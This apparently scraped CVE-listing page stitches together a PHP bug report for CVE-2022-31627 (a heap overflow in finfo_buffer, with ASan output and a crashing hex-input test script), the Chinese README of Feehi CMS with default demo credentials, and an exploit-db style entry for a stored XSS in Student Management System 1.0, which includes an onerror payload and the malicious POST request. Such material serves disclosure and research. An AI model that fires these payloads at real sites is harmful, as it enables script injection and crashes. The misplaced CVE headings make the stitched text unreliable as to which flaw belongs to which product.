    #0 0x667654 in strdup (/home/user/php-src-8.1/sapi/cli/php+0x667654)
    #1 0x15595a7 in save\_ps\_args /home/user/php-src/sapi/cli/ps\_title.c:195:30

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php-src/Zend/zend\_alloc.c:1561:3 in zend\_mm\_realloc\_heap
Shadow bytes around the buggy address:
  0x0c1c7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8000:\[fa\]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 02 fa fa fa fa
  0x0c1c7fff8020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff8030: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c1c7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1c7fff8050: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==4777==ABORTING

Test script:
---------------
<?php

$data = hex2bin("00018a7570001097db97979897977d87979797000092001f0051000000000000000000ffff7fff00000000001e0000000000000000000000000c0000000000000000000000000000dc0000000100000000000000004f011900007f0000000000180039000000000000000000000000000000dc0000000100000000000000004f011900007f0000f500000000eeff0000000000000000010000fd00");

$f = finfo\_open();
finfo\_buffer($f, $data);

Expected result:
----------------
MacBinary, total length 256, Mon Feb  6 06:28:16 2040 INVALID date, modified Fri Feb 24 11:23:37 2040, creator '    ', 20225 bytes "\\212" , at 0x4f81 419430527 bytes resource

Actual result:
--------------
zend\_mm\_heap corrupted

**Patches**

Add a Patch

**Pull Requests**

Add a Pull Request

**History**

AllCommentsChangesGit/SVN commitsRelated reports

 **\[2022-06-28 15:13 UTC\] cmb@php.net**

\-Package: \*Graphics related +Package: Filesystem function related \-Assigned To: +Assigned To: cmb

 **\[2022-06-28 15:13 UTC\] cmb@php.net**

I can confirm the memory corruption, but that looks like a
libmagic issue (which may have been fixed in the meantime).

 **\[2022-06-30 14:54 UTC\] cmb@php.net**

\-Status: Assigned +Status: Analyzed

 **\[2022-06-30 14:54 UTC\] cmb@php.net**

No, this is not an upstream issue, but rather caused by a bad
patch of libmagic 5.40 and affects PHP-8.1+; we try to
\`erealloc()\` memory which has been \`malloc()\`d.

 **\[2022-06-30 15:37 UTC\] cmb@php.net**

\-Assigned To: cmb +Assigned To: stas

 **\[2022-07-05 06:37 UTC\] stas@php.net**

\-CVE-ID: needed +CVE-ID: 2022-31627

 **\[2022-07-05 07:05 UTC\] git@php.net**

\-Status: Analyzed +Status: Closed

CVE-2022-31627: Heap buffer overflow in finfo_buffer

A stored cross-site scripting (XSS) vulnerability in /index.php?r=site%2Fsignup of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username field.

**FeehiCMS **(English)** 首款编写单元测试、功能测试、验收测试的yii2开源系统**

基于yii2的CMS系统，运行环境与yii2(php>=5.4)一致。FeehiCMS旨在为yii2爱好者提供一个基础功能稳定完善的系统，使开发者更专注于业务功能开发。 FeehiCMS没有对yii2做任何的修改、封装，但是把yii2的一些优秀特性几乎都用在了FeehiCMS上，虽提供文档， 但FeehiCMS提倡简洁、快速上手，基于FeehiCMS开发可以无需文档，反倒FeehiCMS为yii2文档提供了最好的实例

  

**演示站点**

演示站点后台 **用户名:feehicms 密码123456**

*   后台 http://demo.cms.feehi.com/admin
*   前台 http://demo.cms.feehi.com
*   api http://demo.cms.feehi.com/api/articles

**更新记录****帮助**

1.  开发文档http://doc.feehi.com
    
2.  QQ群 936448696
    
3.  微信  
    
4.  Email job@feehi.com
    
5.  bug反馈
    

**功能**

*   多语言
*   单元测试
*   功能测试
*   验收测试
*   RBAC权限管理
*   restful api
*   文章管理
*   操作日志
*   适配手机

FeehiCMS提供完备的web系统基础通用功能，包括前后台菜单管理,文章标签,广告,banner,缓存,网站设置,seo设置,邮件设置,分类管理,单页...

**使用Docker**

1.下载镜像

    $ docker pull registry.cn-hangzhou.aliyuncs.com/feehi/cms #FQ后建议直接使用docker pull feehi/cms

2.创建容器

    $ docker run --name feehicms -h feehicms -itd -v /path/to/data:/data -e DBDSN=sqlite:/data/feehi.db -e TablePrefix=feehi\_ -e AdminUsername=admin -e AdminPassword=123456 -p 8080:80 feehi/cms

以上命令将会自动初始化FeehiCMS，并导入数据库(默认数据库为sqlite)  
如果需要更使用其他数据库，比如mysql，执行:

    $ docker run --name feehicms -h feehicms -itd -e DBDSN=mysql:host=mysql-ip;dbname=feehi -e DBUser=dbuser -e DBPassword=dbpassword -e TablePrefix=feehi\_ -e AdminUsername=admin -e AdminPassword=123456 -p 8080:80 feehi/cms

如果需要使用postgresql则将DBDSN改为pgsql:host=pgsql-ip

也可以仅初始化FeehiCMS，然后通过web在线安装

    $ docker run --name feehicms -h feehicms -itd -p 8080:80 feehi/cms -o start

然后访问http://ip:port/install.php，根据提示选择数据库类型，填写数据库用户名、数据库密码、后台管理员用户名、密码完成安装。

以上方式启动的容器只能用作开发环境，容器启动命令最终调用为php -S 0.0.0.0:80,如果用作production，可以执行

    $ docker run --name feehicms -h feehicms -itd -p 8080:80 feehi/cms -m start

容器将启动php-fpm，并监听9000端口，配合nginx使用。nginx配置大致为

    location ~ \\.php$ {
        ...
        fastcgi\_pass fpm-ip:9000;
        fastcgi\_param  SCRIPT\_FILENAME  /usr/local/feehicms/frontend/web$fastcgi\_script\_name;
        ...
    }

**因为yii2会生成js/css，以及新上传的文件（图片）需要nginx webroot使用php fpm容器同一个文件夹:/usr/local/feehicms/frontend/web**

**安装**

前置条件: 如未特别说明，本文档已默认您把php命令加入了环境变量，如果您未把php加入环境变量，请把以下命令中的php替换成/path/to/php

> 无论是使用归档文件还是composer，都有相应阶段让您填入后台管理用户名、密码

1.  使用归档文件(简单，适合没有yii2经验者)
    
    1.  下载FeehiCMS源码 点击此处下载最新版
    2.  解压到目录
    3.  配置web服务器web服务器配置
    4.  浏览器打开 http://localhost/install.php 按照提示完成安装(若使用php内置web服务a器则地址为 http://localhost:8080/install.php )
    5.  完成
2.  使用composer (推荐使用此方式安装)
    
    > composer的安装以及国内镜像设置请点击 此处
    
    > 以下命令默认您已全局安装composer，如果您是局部安装的composer:请使用php /path/to/composer.phar来替换以下命令中的composer
    
    1.  使用composer创建FeehiCMS项目
        
            $ composer create-project feehi/cms webApp //此命令创建的FeehiCMS项目不能平滑升级新版本(目录结构简单,目前主力维护版本)
        
    2.  依次执行以下命令初始化yii2框架以及导入数据库
        
        $ cd webApp
        $ php ./init --env=Development #初始化yii2框架，线上环境请使用--env=Production
        $ php ./yii migrate/up --interactive=0 #导入FeehiCMS sql数据库，执行此步骤之前请先到common/config/main-local.php修改成正确的数据库配置
        
    3.  配置web服务器web服务器配置
        
    4.  完成
        

**运行测试**

1.  仅运行单元测试,功能测试(不需要配置web服务器)

   cd /path/to/webApp
   vendor/bin/codecept run

2.  运行单元测试,功能测试,验收测试(需要配置完web服务器)
    1.  分别拷贝backend,frontend,api三个目录下的tests/acceptance.suite.yml.example到各自目录，并均重名为acceptance.suite.yml,且均修改里面的url为各自的访问url地址
    2.  与上(仅运行单元测试,功能测试)命令一致

**项目展示**

*   山东城市服务技师学院
*   优悦娱乐网
*   吉安市食品药品监督管理局
*   完美娱乐
*   房产网
*   中丞法拍网
*   51前途网
*   用友财务软件
*   ......

**运行效果**

CVE-2022-34140: GitHub - liufee/cms: Feehi CMS based on yii2

A stored cross-site scripting (XSS) vulnerability in /nav_bar_action.php of Student Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Chat box.

    # Exploit Title: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated)
    # Date: 2021-05-13
    # Exploit Author: mohsen khashei (kh4sh3i) or kh4sh3i@gmail.com
    # Vendor Homepage: https://github.com/amirhamza05/Student-Management-System
    # Software Link: https://github.com/amirhamza05/Student-Management-System/archive/refs/heads/master.zip
    # Version: 1.0
    # Tested on: ubuntu 20.04.2
    
    # --- Description --- #
    
    # The web application allows for an  Attacker to inject persistent Cross-Site-Scripting payload in Live Chat. 
    
    
    # --- Proof of concept --- #
    
    1- Login to Student Management System
    2- Click on Live Chat button
    3- Inject this payload and send : <image src=1 onerror="javascript:alert(document.domain)"></image>
    5- Xss popup will be triggered.
    
    
    # --- Malicious Request --- #
    
    POST /nav_bar_action.php HTTP/1.1
    Host: (HOST)
    Cookie: (PHPSESSID)
    Content-Length: 96
    
    send_message_chat%5Bmessage%5D=<image src=1 onerror="javascript:alert(document.domain)"></image>

Tag

#php